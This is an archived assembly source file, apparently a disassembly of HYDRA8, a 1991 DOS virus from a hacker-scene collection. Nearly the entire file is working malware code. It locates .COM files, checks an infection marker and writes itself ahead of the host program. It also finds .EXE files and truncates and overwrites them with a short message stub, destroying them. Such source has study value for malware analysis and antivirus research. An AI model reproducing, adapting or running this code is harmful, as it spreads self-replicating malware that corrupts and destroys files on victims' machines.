home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / HYDRA8.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  6KB  |  221 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    HYDRA8                         ██
  7. ;██                                         ██
  8. ;██      Created:   28-Aug-91                             ██
  9. ;██      Passes:    5           Analysis Options on: W                 ██
  10. ;██      Copyright (c)                                 ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. psp_cmd_size    equ    80h
  15. data_17e    equ    1EFh
  16. data_18e    equ    1F2h
  17. data_19e    equ    9D9Ah
  18.  
  19. seg_a        segment    byte public
  20.         assume    cs:seg_a, ds:seg_a
  21.  
  22.  
  23.         org    100h
  24.  
  25. hydra8        proc    far
  26.  
  27. start:
  28.         jmp    loc_3
  29.         db     59h, 44h, 00h, 00h
  30. data_3        db    'HyDra-8   Beta - Not For Release'
  31.         db    '. *.CO?'
  32.         db    0
  33. data_6        dw    0, 8B39h
  34. data_8        dw    0
  35. data_9        db    0
  36.         db    18 dup (0)
  37. data_10        db    0
  38.         db    10 dup (0)
  39. data_11        db    0
  40.         db    0, 0, 0, 0, 0, 0
  41. data_12        db    0
  42.         db    0, 0, 0, 0, 0, 0
  43. copyright    db    'Copyright (c)'
  44.         db    '  1991 by C.A.V.E.  '
  45. data_13        db    2Ah
  46.         db     2Eh, 45h, 58h, 45h, 00h
  47. data_14        db    33h
  48.         db    0C9h, 1Eh, 52h,0E8h, 06h, 00h
  49.         db    0E8h, 13h, 00h,0EBh, 36h, 90h
  50.         db    0BEh, 48h, 01h
  51.         db    0BFh, 5Ah, 01h,0B9h, 12h, 00h
  52.  
  53. locloop_1:
  54.         xor    byte ptr [si],0F5h
  55.         movsb                ; Mov [si] to es:[di]
  56.         loop    locloop_1        ; Loop if cx > 0
  57.  
  58.         retn
  59.         db    0B8h, 00h, 0Fh,0CDh, 10h,0B4h
  60.         db     00h,0CDh, 10h,0B8h, 00h, 02h
  61.         db    0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h
  62.         db     33h,0D2h
  63.         db    0BAh, 5Ah, 01h,0B4h, 09h,0CDh
  64.         db     21h,0B8h, 00h, 02h,0B6h, 18h
  65.         db    0B2h, 00h,0CDh, 10h,0C3h
  66.         db    0B8h, 00h, 4Ch,0CDh, 21h, 00h
  67.         db    0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h
  68.         db    0F5h
  69.         db    0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h
  70.         db     94h, 99h, 81h,0CAh,0D1h
  71. loc_3:
  72.         push    ax
  73.         mov    ax,cs
  74.         add    ax,1000h
  75.         xor    di,di            ; Zero register
  76.         mov    cx,1EFh
  77.         mov    si,100h
  78.         mov    es,ax
  79.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  80.         mov    ah,1Ah
  81.         mov    dx,offset data_9
  82.         int    21h            ; DOS Services  ah=function 1Ah
  83.                         ;  set DTA(disk xfer area) ds:dx
  84.         mov    ah,4Eh            ; 'N'
  85.         mov    dx,offset data_3+22h    ; ('*')
  86.         int    21h            ; DOS Services  ah=function 4Eh
  87.                         ;  find 1st filenam match @ds:dx
  88.         jc    loc_7            ; Jump if carry Set
  89. loc_4:
  90.         mov    ah,3Dh            ; '='
  91.         mov    al,2
  92.         mov    dx,offset data_11
  93.         int    21h            ; DOS Services  ah=function 3Dh
  94.                         ;  open file, al=mode,name@ds:dx
  95.         mov    bx,ax
  96.         push    es
  97.         pop    ds
  98.         mov    ax,3F00h
  99.         mov    cx,0FFFFh
  100.         mov    dx,data_17e
  101.         int    21h            ; DOS Services  ah=function 3Fh
  102.                         ;  read file, bx=file handle
  103.                         ;   cx=bytes to ds:dx buffer
  104.         add    ax,1EFh
  105.         mov    cs:data_8,ax
  106.         cmp    word ptr ds:data_18e,4459h
  107.         jne    loc_5            ; Jump if not equal
  108.         mov    ah,3Eh            ; '>'
  109.         int    21h            ; DOS Services  ah=function 3Eh
  110.                         ;  close file, bx=file handle
  111.         push    cs
  112.         pop    ds
  113.         mov    ah,4Fh            ; 'O'
  114.         int    21h            ; DOS Services  ah=function 4Fh
  115.                         ;  find next filename match
  116.         jc    loc_8            ; Jump if carry Set
  117.         jmp    short loc_4
  118. loc_5:
  119.         xor    cx,cx            ; Zero register
  120.         mov    dx,cx
  121.         mov    ax,4200h
  122.         int    21h            ; DOS Services  ah=function 42h
  123.                         ;  move file ptr, bx=file handle
  124.                         ;   al=method, cx,dx=offset
  125.         jc    loc_6            ; Jump if carry Set
  126.         mov    ah,40h            ; '@'
  127.         xor    dx,dx            ; Zero register
  128.         mov    cx,cs:data_8
  129.         int    21h            ; DOS Services  ah=function 40h
  130.                         ;  write file  bx=file handle
  131.                         ;   cx=bytes from ds:dx buffer
  132. loc_6:
  133.         mov    ah,3Eh            ; '>'
  134.         int    21h            ; DOS Services  ah=function 3Eh
  135.                         ;  close file, bx=file handle
  136.         push    cs
  137.         pop    ds
  138. loc_7:
  139.         mov    ah,1Ah
  140.         mov    dx,psp_cmd_size
  141.         int    21h            ; DOS Services  ah=function 1Ah
  142.                         ;  set DTA(disk xfer area) ds:dx
  143.         jmp    short loc_11
  144.         db    90h
  145. loc_8:
  146.         clc                ; Clear carry flag
  147.         xor    cx,cx            ; Zero register
  148.         push    ds
  149.         push    dx
  150.         mov    ah,1Ah
  151.         mov    dx,offset data_9
  152.         int    21h            ; DOS Services  ah=function 1Ah
  153.                         ;  set DTA(disk xfer area) ds:dx
  154.         mov    dx,offset data_13
  155.         mov    ah,4Eh            ; 'N'
  156.         xor    cx,cx            ; Zero register
  157.         int    21h            ; DOS Services  ah=function 4Eh
  158.                         ;  find 1st filenam match @ds:dx
  159.         jc    loc_7            ; Jump if carry Set
  160. loc_9:
  161.         mov    ah,3Ch            ; '<'
  162.         xor    cx,cx            ; Zero register
  163.         mov    dx,offset data_11
  164.         int    21h            ; DOS Services  ah=function 3Ch
  165.                         ;  create/truncate file @ ds:dx
  166.         mov    bx,ax
  167.         jc    loc_7            ; Jump if carry Set
  168.         mov    ax,3D02h
  169.         mov    dx,offset data_11
  170.         int    21h            ; DOS Services  ah=function 3Dh
  171.                         ;  open file, al=mode,name@ds:dx
  172.         mov    bx,ax
  173.         clc                ; Clear carry flag
  174.         xor    dx,dx            ; Zero register
  175.         mov    ah,40h            ; '@'
  176.         mov    dx,offset data_14
  177.         mov    cx,5Ah
  178.         int    21h            ; DOS Services  ah=function 40h
  179.                         ;  write file  bx=file handle
  180.                         ;   cx=bytes from ds:dx buffer
  181.         cmp    ax,5Ah
  182.         jb    loc_10            ; Jump if below
  183.         mov    ah,3Eh            ; '>'
  184.         int    21h            ; DOS Services  ah=function 3Eh
  185.                         ;  close file, bx=file handle
  186.         jc    loc_10            ; Jump if carry Set
  187.         mov    ah,4Fh            ; 'O'
  188.         int    21h            ; DOS Services  ah=function 4Fh
  189.                         ;  find next filename match
  190.         jnc    loc_9            ; Jump if carry=0
  191. loc_10:
  192.         mov    ax,4C00h
  193.         int    21h            ; DOS Services  ah=function 4Ch
  194.                         ;  terminate with al=return code
  195. loc_11:
  196.         xor    di,di            ; Zero register
  197.         mov    si,offset data_15
  198.         mov    cx,22h
  199.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  200.         pop    bx
  201.         mov    cs:data_6,0
  202.         mov    word ptr cs:data_6+2,es
  203.         pop    bx
  204.         jmp    dword ptr cs:data_6
  205. data_15        db    1Eh
  206.         db     07h,0B9h,0FFh,0FFh,0BEh,0EFh
  207.         db     02h,0BFh, 00h, 01h, 2Bh,0CEh
  208.         db    0F3h,0A4h, 2Eh,0C7h, 06h, 00h
  209.         db     01h, 00h, 01h, 2Eh, 8Ch, 1Eh
  210.         db     02h, 01h, 8Bh,0C3h, 2Eh,0FFh
  211.         db     2Eh, 00h, 01h,0CDh
  212.         db    20h
  213.  
  214. hydra8        endp
  215.  
  216. seg_a        ends
  217.  
  218.  
  219.  
  220.         end    start
  221.